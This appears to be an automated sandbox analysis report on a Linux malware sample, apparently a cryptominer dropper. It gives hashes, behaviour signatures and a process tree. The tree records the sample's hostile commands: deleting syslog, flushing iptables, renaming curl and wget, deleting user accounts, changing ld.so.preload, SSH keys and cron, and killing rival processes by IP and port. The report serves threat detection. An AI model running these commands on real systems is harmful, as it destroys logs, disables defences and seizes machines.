Analysis
-
max time kernel
1198s -
max time network
156s -
platform
debian-9_mipsel -
resource
debian9-mipsel-20221111-en -
resource tags
arch:mipselimage:debian9-mipsel-20221111-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem -
submitted
25-11-2022 08:38
Static task
static1
Behavioral task
behavioral1
Sample
4604144b3cb13182a3645ca521e2e976a92292938ea1dd97a97bae7d4aa2b612
Resource
ubuntu1804-amd64-en-20211208
Behavioral task
behavioral2
Sample
4604144b3cb13182a3645ca521e2e976a92292938ea1dd97a97bae7d4aa2b612
Resource
debian9-armhf-20221111-en
Behavioral task
behavioral3
Sample
4604144b3cb13182a3645ca521e2e976a92292938ea1dd97a97bae7d4aa2b612
Resource
debian9-mipsbe-en-20211208
Behavioral task
behavioral4
Sample
4604144b3cb13182a3645ca521e2e976a92292938ea1dd97a97bae7d4aa2b612
Resource
debian9-mipsel-20221111-en
General
-
Target
4604144b3cb13182a3645ca521e2e976a92292938ea1dd97a97bae7d4aa2b612
-
Size
35KB
-
MD5
92fc64f05b1b0597acc58b7cc839a33b
-
SHA1
f9b3668004fb6810a3a6a44e31fb027782233dfc
-
SHA256
4604144b3cb13182a3645ca521e2e976a92292938ea1dd97a97bae7d4aa2b612
-
SHA512
58431bb60c834224b567727db06c1f6adf0845b76aec00aa18200a0e5a1758e2422695c2ad7268db22e77ea57748adb05affb90bec56bd397d62416c4f885094
-
SSDEEP
384:EQQwQHDf6lpTWg3vM4Qdre21jT58vKpG2Y0orcfKLUv0KZnNEVdUeUoJpJydIDbS:oFNB48Fkc2zq0xvcGGIZ3L8eW
Malware Config
Signatures
-
Deletes system logs 1 TTPs 1 IoCs
Processes:
rmdescription ioc process /var/log/syslog /var/log/syslog rm -
Modifies the dynamic linker configuration file 1 TTPs 2 IoCs
Malware can modify the configuration file of the dynamic linker to preload malicous libraries with every executed process.
Processes:
description ioc process /etc/ld.so.preload /etc/ld.so.preload /etc/ld.so.preload /etc/ld.so.preload -
Writes file to system bin folder 1 TTPs 1 IoCs
-
Adds new SSH keys 1 IoCs
Linux special file to hold SSH keys. The threat actor may add new keys for further remote access.
Processes:
catdescription ioc process /root/.ssh/authorized_keys /root/.ssh/authorized_keys cat -
Creates/modifies Cron job 1 TTPs 2 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
Processes:
catdescription ioc process /var/spool/cron/ /var/spool/cron/ cat /etc/cron.d/tomcat /etc/cron.d/tomcat -
Write file to user bin folder 1 TTPs 5 IoCs
Processes:
rmrmdescription ioc process /usr/bin/config.json /usr/bin/config.json rm /usr/bin/exin /usr/bin/exin rm /usr/sbin/watchdogs /usr/sbin/watchdogs /usr/sbin/service /usr/sbin/service /usr/sbin/service /usr/sbin/service -
Writes file to shm directory 4 IoCs
Malware can drop malicious files in the shm directory which will run directly from RAM.
Processes:
description ioc process /dev/shm/z3.sh /dev/shm/z3.sh /dev/shm/z2.sh /dev/shm/z2.sh /dev/shm/.scr /dev/shm/.scr /dev/shm/.kerberods /dev/shm/.kerberods -
Reads CPU attributes 1 TTPs 64 IoCs
Processes:
pspkillpspspgreppgreppspgreppkillpspspspspspspgreppgreppkillkillpspkillpspspkillpspgreppspspskillpgreppgreppspspkillpkillpspgreppgreppspspkillpspgreppspspgreppkillpkillpspspgreppkillpspspkillpkillpspspspspkillpkillpsdescription ioc process /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online pkill /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online pgrep /sys/devices/system/cpu/online /sys/devices/system/cpu/online pgrep /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online pgrep /sys/devices/system/cpu/online /sys/devices/system/cpu/online pkill /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online pgrep /sys/devices/system/cpu/online /sys/devices/system/cpu/online pgrep /sys/devices/system/cpu/online /sys/devices/system/cpu/online pkill /sys/devices/system/cpu/online /sys/devices/system/cpu/online kill /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online pkill /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online pkill /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online pgrep /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online kill /sys/devices/system/cpu/online /sys/devices/system/cpu/online pgrep /sys/devices/system/cpu/online /sys/devices/system/cpu/online pgrep /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online pkill /sys/devices/system/cpu/online /sys/devices/system/cpu/online pkill /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online pgrep /sys/devices/system/cpu/online /sys/devices/system/cpu/online pgrep /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online pkill /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online pgrep /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online pgrep /sys/devices/system/cpu/online /sys/devices/system/cpu/online pkill /sys/devices/system/cpu/online /sys/devices/system/cpu/online pkill /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online pgrep /sys/devices/system/cpu/online /sys/devices/system/cpu/online pkill /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online pkill /sys/devices/system/cpu/online /sys/devices/system/cpu/online pkill /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online pkill /sys/devices/system/cpu/online /sys/devices/system/cpu/online pkill /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps -
Enumerates kernel/hardware configuration 1 TTPs 32 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
Processes:
description ioc process /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus -
Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
Processes:
pspgreppgreppkillpkillpkillpspspspkillpspgreppspspspkillpspspspgreppgreppkillpkillpgreppspspspspkillpkillpspspspspspkillpkillpspspspspgreppspspspspkillpspspspgreppspspgreppkillpkillpspsdescription ioc process /proc/143/cmdline /proc/143/cmdline ps /proc/83/status /proc/83/status pgrep /proc/1186/cmdline /proc/1186/cmdline pgrep /proc/214/cmdline /proc/214/cmdline pkill /proc/243/cmdline /proc/243/cmdline pkill /proc/146/cmdline /proc/146/cmdline pkill /proc/115/stat /proc/115/stat ps /proc/837/status /proc/837/status ps /proc/79/cmdline /proc/79/cmdline ps /proc/217/cmdline /proc/217/cmdline pkill /proc/217/status /proc/217/status ps /proc/72/status /proc/72/status pgrep /proc/158/stat /proc/158/stat ps /proc/322/stat /proc/322/stat ps /proc/70/stat /proc/70/stat ps /proc/243/status /proc/243/status pkill /proc/self/stat /proc/self/stat ps /proc/244/stat /proc/244/stat ps /proc/15/status /proc/15/status ps /proc/9/cmdline /proc/9/cmdline pgrep /proc/37/cmdline /proc/37/cmdline pgrep /proc/244/status /proc/244/status pkill /proc/6/status /proc/6/status pkill /proc/75/status /proc/75/status pgrep /proc/76/status /proc/76/status pkill /proc/72/stat /proc/72/stat ps /proc/689/stat /proc/689/stat ps /proc/322/cmdline /proc/322/cmdline ps /proc/stat /proc/stat ps /proc/15/cmdline /proc/15/cmdline pkill /proc/7/status /proc/7/status pkill /proc/74/stat /proc/74/stat ps /proc/322/stat /proc/322/stat ps /proc/2/cmdline /proc/2/cmdline ps /proc/9/status /proc/9/status ps /proc/681/stat /proc/681/stat ps /proc/1/cmdline /proc/1/cmdline pkill /proc/218/cmdline /proc/218/cmdline pkill /proc/116/status /proc/116/status ps /proc/672/status /proc/672/status ps /proc/285/status /proc/285/status ps /proc/81/status /proc/81/status ps /proc/1113/stat /proc/1113/stat ps /proc/74/cmdline /proc/74/cmdline pgrep /proc/5/cmdline /proc/5/cmdline ps /proc/15/stat /proc/15/stat ps /proc/71/stat /proc/71/stat ps /proc/6/cmdline /proc/6/cmdline ps /proc/217/status /proc/217/status pkill /proc/322/status /proc/322/status /proc/143/status /proc/143/status ps /proc/80/cmdline /proc/80/cmdline ps /proc/73/cmdline /proc/73/cmdline ps /proc/16/status /proc/16/status pgrep /proc/81/cmdline /proc/81/cmdline ps /proc/803/status /proc/803/status ps /proc/12/stat /proc/12/stat ps /proc/74/status /proc/74/status pkill /proc/8/cmdline /proc/8/cmdline pgrep /proc/36/cmdline /proc/36/cmdline pkill /proc/74/status /proc/74/status pkill /proc/4/status /proc/4/status ps /proc/146/status /proc/146/status ps /proc/23/status /proc/23/status ps -
Writes file to tmp directory 64 IoCs
Malware often drops required files in the /tmp directory.
Processes:
rmrmrmchattrrmrmrmrm4604144b3cb13182a3645ca521e2e976a92292938ea1dd97a97bae7d4aa2b612rmrmrmrmrmrmrmrmrmrmdescription ioc process /tmp/javax/sshd2 /tmp/javax/sshd2 rm /tmp/xd.json /tmp/xd.json rm /tmp/systemxlv /tmp/systemxlv rm /tmp/osw.hb /tmp/osw.hb /tmp/.rod.tgz.1 /tmp/.rod.tgz.1 /tmp/.tmpnewasss /tmp/.tmpnewasss /tmp/seasame /tmp/seasame /tmp/ /tmp/ chattr /tmp/php /tmp/php rm /tmp/.omed /tmp/.omed /tmp/go /tmp/go /tmp/go2.sh /tmp/go2.sh /tmp/.p /tmp/.p /tmp/.profile /tmp/.profile rm /tmp/65ccEJ7 /tmp/65ccEJ7 rm /tmp/dl /tmp/dl rm /tmp/.tmpc /tmp/.tmpc /tmp/.tmpnewzz /tmp/.tmpnewzz /tmp/3lmigMo /tmp/3lmigMo /tmp/tmp.txt /tmp/tmp.txt /tmp/go.sh /tmp/go.sh /tmp/kerberods /tmp/kerberods /tmp/kdevtmpfsi /tmp/kdevtmpfsi 4604144b3cb13182a3645ca521e2e976a92292938ea1dd97a97bae7d4aa2b612 /tmp/kworkerds3 /tmp/kworkerds3 rm /tmp/2Ne80nA /tmp/2Ne80nA rm /tmp/.mer.tgz /tmp/.mer.tgz /tmp/84Onmce /tmp/84Onmce /tmp/khugepageds /tmp/khugepageds /tmp/touch /tmp/touch /tmp/4604144b3cb13182a3645ca521e2e976a92292938ea1dd97a97bae7d4aa2b612 /tmp/4604144b3cb13182a3645ca521e2e976a92292938ea1dd97a97bae7d4aa2b612 4604144b3cb13182a3645ca521e2e976a92292938ea1dd97a97bae7d4aa2b612 /tmp/walle* /tmp/walle* rm /tmp/lilpip /tmp/lilpip /tmp/j2.conf /tmp/j2.conf /tmp/runtime2.sh /tmp/runtime2.sh /tmp/lok /tmp/lok /tmp/sustse /tmp/sustse rm /tmp/.kerberods /tmp/.kerberods /tmp/logo9.jpg /tmp/logo9.jpg /tmp/devtools /tmp/devtools /tmp/j2.conf /tmp/j2.conf /tmp/java /tmp/java /tmp/nullcrew /tmp/nullcrew /tmp/.abc /tmp/.abc /tmp/.tmpleve /tmp/.tmpleve /tmp/.rod.tgz.2 /tmp/.rod.tgz.2 /tmp/.mer /tmp/.mer /tmp/kthrotlds /tmp/kthrotlds /tmp/.sysbabyuuuuu12 /tmp/.sysbabyuuuuu12 /tmp/kdevtmpfsi /tmp/kdevtmpfsi /tmp/log_rot /tmp/log_rot rm /tmp/ddg /tmp/ddg rm /tmp/gates.lod /tmp/gates.lod /tmp/fs /tmp/fs /tmp/.pt.tgz.1 /tmp/.pt.tgz.1 /tmp/kworkerdssx /tmp/kworkerdssx rm /tmp/syslogdb /tmp/syslogdb rm /tmp/.rod /tmp/.rod /tmp/.lib /tmp/.lib /tmp/lib.tar.gz /tmp/lib.tar.gz /tmp/keys /tmp/keys rm /tmp/1.so /tmp/1.so rm /tmp/systemctI /tmp/systemctI /tmp/C4iLM4L /tmp/C4iLM4L /tmp/java /tmp/java
Processes
-
/tmp/4604144b3cb13182a3645ca521e2e976a92292938ea1dd97a97bae7d4aa2b612/tmp/4604144b3cb13182a3645ca521e2e976a92292938ea1dd97a97bae7d4aa2b6121⤵
- Writes file to tmp directory
PID:324 -
/bin/syncsync2⤵PID:325
-
/bin/catcat /var/spool/cron/2⤵
- Creates/modifies Cron job
PID:330 -
/bin/catcat /root/.ssh/authorized_keys2⤵
- Adds new SSH keys
PID:331 -
/bin/mvmv /usr/bin/curl /usr/bin/url2⤵PID:332
-
/bin/mvmv /usr/bin/url /usr/bin/cd12⤵PID:333
-
/bin/mvmv /usr/bin/wget /usr/bin/get2⤵PID:334
-
/bin/mvmv /usr/bin/get /usr/bin/wd12⤵PID:335
-
/bin/rmrm -rf /var/log/syslog2⤵
- Deletes system logs
PID:336 -
/usr/bin/chattrchattr -iua /tmp/2⤵
- Writes file to tmp directory
PID:337 -
/usr/bin/chattrchattr -iua /var/tmp/2⤵PID:338
-
/sbin/iptablesiptables -F2⤵PID:339
-
/usr/sbin/userdeluserdel akay2⤵PID:342
-
/usr/sbin/userdeluserdel vfinder2⤵PID:343
-
/bin/rmrm -rf "/tmp/addres*"2⤵PID:344
-
/bin/rmrm -rf "/tmp/walle*"2⤵
- Writes file to tmp directory
PID:345 -
/bin/rmrm -rf /tmp/keys2⤵
- Writes file to tmp directory
PID:346 -
/bin/rmrm -f /tmp/.null2⤵PID:347
-
/sbin/sysctlsysctl -w "vm.nr_hugepages=128"2⤵PID:348
-
/bin/grepgrep 185.71.65.2382⤵PID:350
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:352
-
/usr/bin/awkawk "{print \$7}"2⤵PID:351
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:353
-
/bin/grepgrep 140.82.52.872⤵PID:355
-
/usr/bin/awkawk "{print \$7}"2⤵PID:356
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:357
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:358
-
/bin/grepgrep -v -2⤵PID:363
-
/usr/bin/awkawk "{print \$7}"2⤵PID:361
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:364
-
/bin/grepgrep :4432⤵PID:360
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:362
-
/usr/bin/awkawk "{print \$7}"2⤵PID:367
-
/bin/grepgrep :232⤵PID:366
-
/bin/grepgrep -v -2⤵PID:369
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:368
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:370
-
/bin/grepgrep :4432⤵PID:372
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:374
-
/bin/grepgrep -v -2⤵PID:375
-
/usr/bin/awkawk "{print \$7}"2⤵PID:373
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:376
-
/usr/bin/awkawk "{print \$7}"2⤵PID:379
-
/bin/grepgrep :1432⤵PID:378
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:380
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:382
-
/bin/grepgrep -v -2⤵PID:381
-
/bin/grepgrep :22222⤵PID:384
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:386
-
/usr/bin/awkawk "{print \$7}"2⤵PID:385
-
/bin/grepgrep -v -2⤵PID:387
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:388
-
/bin/grepgrep :33332⤵PID:390
-
/usr/bin/awkawk "{print \$7}"2⤵PID:391
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:392
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:394
-
/bin/grepgrep -v -2⤵PID:393
-
/usr/bin/awkawk "{print \$7}"2⤵PID:397
-
/bin/grepgrep :33892⤵PID:396
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:398
-
/bin/grepgrep -v -2⤵PID:399
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:400
-
/usr/bin/awkawk "{print \$7}"2⤵PID:403
-
/bin/grepgrep :55552⤵PID:402
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:404
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:406
-
/bin/grepgrep -v -2⤵PID:405
-
/bin/grepgrep :66662⤵PID:408
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:410
-
/bin/grepgrep -v -2⤵PID:411
-
/usr/bin/awkawk "{print \$7}"2⤵PID:409
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:412
-
/bin/grepgrep :66652⤵PID:414
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:416
-
/usr/bin/awkawk "{print \$7}"2⤵PID:415
-
/bin/grepgrep -v -2⤵PID:417
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:418
-
/bin/grepgrep :66672⤵PID:420
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:422
-
/usr/bin/awkawk "{print \$7}"2⤵PID:421
-
/bin/grepgrep -v -2⤵PID:423
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:424
-
/usr/bin/awkawk "{print \$7}"2⤵PID:427
-
/bin/grepgrep :77772⤵PID:426
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:428
-
/bin/grepgrep -v -2⤵PID:429
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:430
-
/usr/bin/awkawk "{print \$7}"2⤵PID:433
-
/bin/grepgrep :84442⤵PID:432
-
/bin/grepgrep -v -2⤵PID:435
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:436
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:434
-
/bin/grepgrep :33472⤵PID:438
-
/usr/bin/awkawk "{print \$7}"2⤵PID:439
-
/bin/grepgrep -v -2⤵PID:441
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:442
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:440
-
/bin/grepgrep :33332⤵PID:445
-
/bin/grepgrep -v grep2⤵PID:444
-
/usr/bin/awkawk "{print \$2}"2⤵PID:446
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:447
-
/bin/psps aux2⤵PID:443
-
/bin/grepgrep -v grep2⤵PID:449
-
/usr/bin/awkawk "{print \$2}"2⤵PID:451
-
/bin/psps aux2⤵PID:448
-
/bin/grepgrep :55552⤵PID:450
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:452
-
/bin/grepgrep -v grep2⤵PID:454
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:453 -
/bin/grepgrep "kworker -c\\"2⤵PID:455
-
/usr/bin/awkawk "{print \$2}"2⤵PID:456
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:457
-
/bin/grepgrep -v grep2⤵PID:459
-
/bin/psps aux2⤵PID:458
-
/bin/grepgrep log_2⤵PID:460
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:462
-
/usr/bin/awkawk "{print \$2}"2⤵PID:461
-
/usr/bin/awkawk "{print \$2}"2⤵PID:466
-
/bin/grepgrep systemten2⤵PID:465
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:467
-
/bin/grepgrep -v grep2⤵PID:464
-
/bin/psps aux2⤵
- Reads runtime system information
PID:463 -
/usr/bin/awkawk "{print \$2}"2⤵PID:471
-
/bin/grepgrep netns2⤵PID:470
-
/bin/grepgrep -v grep2⤵PID:469
-
/bin/psps aux2⤵PID:468
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:472
-
/usr/local/sbin/killkill -9 103⤵PID:473
-
/usr/local/bin/killkill -9 103⤵PID:473
-
/usr/sbin/killkill -9 103⤵PID:473
-
/usr/bin/killkill -9 103⤵PID:473
-
/sbin/killkill -9 103⤵PID:473
-
/bin/killkill -9 103⤵
- Reads CPU attributes
PID:473 -
/usr/bin/awkawk "{print \$2}"2⤵PID:477
-
/bin/grepgrep voltuned2⤵PID:476
-
/bin/grepgrep -v grep2⤵PID:475
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:478
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:474 -
/usr/bin/awkawk "{print \$2}"2⤵PID:482
-
/bin/grepgrep darwin2⤵PID:481
-
/bin/grepgrep -v grep2⤵PID:480
-
/bin/psps aux2⤵PID:479
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:483
-
/bin/grepgrep /tmp/dl2⤵PID:486
-
/bin/grepgrep -v grep2⤵PID:485
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:484 -
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:488
-
/usr/bin/awkawk "{print \$2}"2⤵PID:487
-
/bin/grepgrep -v grep2⤵PID:490
-
/bin/grepgrep /tmp/ddg2⤵PID:491
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:493
-
/usr/bin/awkawk "{print \$2}"2⤵PID:492
-
/bin/psps aux2⤵PID:489
-
/bin/grepgrep -v grep2⤵PID:495
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:494 -
/bin/grepgrep /tmp/pprt2⤵PID:496
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:498
-
/usr/bin/awkawk "{print \$2}"2⤵PID:497
-
/bin/grepgrep /tmp/ppol2⤵PID:501
-
/bin/psps aux2⤵
- Reads runtime system information
PID:499 -
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:503
-
/bin/grepgrep -v grep2⤵PID:500
-
/usr/bin/awkawk "{print \$2}"2⤵PID:502
-
/bin/grepgrep "/tmp/65ccE*"2⤵PID:506
-
/bin/grepgrep -v grep2⤵PID:505
-
/bin/psps aux2⤵
- Reads runtime system information
PID:504 -
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:508
-
/usr/bin/awkawk "{print \$2}"2⤵PID:507
-
/bin/grepgrep -v grep2⤵PID:510
-
/bin/psps aux2⤵PID:509
-
/usr/bin/awkawk "{print \$2}"2⤵PID:512
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:513
-
/bin/grepgrep "/tmp/jmx*"2⤵PID:511
-
/bin/grepgrep -v grep2⤵PID:515
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:514 -
/bin/grepgrep "/tmp/2Ne80*"2⤵PID:516
-
/usr/bin/awkawk "{print \$2}"2⤵PID:517
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:518
-
/bin/grepgrep -v grep2⤵PID:520
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:523
-
/usr/bin/awkawk "{print \$2}"2⤵PID:522
-
/bin/grepgrep IOFoqIgyC0zmf2UR2⤵PID:521
-
/bin/psps aux2⤵PID:519
-
/bin/grepgrep -v grep2⤵PID:525
-
/bin/psps aux2⤵
- Reads runtime system information
PID:524 -
/usr/bin/awkawk "{print \$2}"2⤵PID:527
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:528
-
/bin/grepgrep 45.76.122.922⤵PID:526
-
/bin/grepgrep -v grep2⤵PID:530
-
/bin/psps aux2⤵PID:529
-
/bin/grepgrep 51.38.191.1782⤵PID:531
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:533
-
/usr/bin/awkawk "{print \$2}"2⤵PID:532
-
/usr/bin/awkawk "{print \$2}"2⤵PID:537
-
/bin/grepgrep 51.15.56.1612⤵PID:536
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:538
-
/bin/psps aux2⤵
- Reads runtime system information
PID:534 -
/bin/grepgrep -v grep2⤵PID:535
-
/usr/bin/awkawk "{print \$2}"2⤵PID:542
-
/bin/grepgrep 86s.jpg2⤵PID:541
-
/bin/grepgrep -v grep2⤵PID:540
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:543
-
/bin/psps aux2⤵PID:539
-
/usr/bin/awkawk "{print \$2}"2⤵PID:547
-
/bin/grepgrep aGTSGJJp2⤵PID:546
-
/bin/grepgrep -v grep2⤵PID:545
-
/bin/psps aux2⤵PID:544
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:548
-
/bin/grepgrep -v grep2⤵PID:550
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:549 -
/usr/bin/awkawk "{print \$2}"2⤵PID:552
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:553
-
/bin/grepgrep nMrfmnRa2⤵PID:551
-
/bin/grepgrep -v grep2⤵PID:555
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:554 -
/bin/grepgrep PuNY5tm22⤵PID:556
-
/usr/bin/awkawk "{print \$2}"2⤵PID:557
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:558
-
/bin/grepgrep -v grep2⤵PID:560
-
/bin/psps aux2⤵PID:559
-
/bin/grepgrep I0r8Jyyt2⤵PID:561
-
/usr/bin/awkawk "{print \$2}"2⤵PID:562
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:563
-
/usr/bin/awkawk "{print \$2}"2⤵PID:567
-
/bin/grepgrep AgdgACUD2⤵PID:566
-
/bin/grepgrep -v grep2⤵PID:565
-
/bin/psps aux2⤵
- Reads runtime system information
PID:564 -
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:568
-
/bin/grepgrep uiZvwxG82⤵PID:571
-
/bin/grepgrep -v grep2⤵PID:570
-
/bin/psps aux2⤵PID:569
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:573
-
/usr/bin/awkawk "{print \$2}"2⤵PID:572
-
/bin/grepgrep -v grep2⤵PID:575
-
/bin/grepgrep hahwNEdB2⤵PID:576
-
/usr/bin/awkawk "{print \$2}"2⤵PID:577
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:578
-
/bin/psps aux2⤵
- Reads runtime system information
PID:574 -
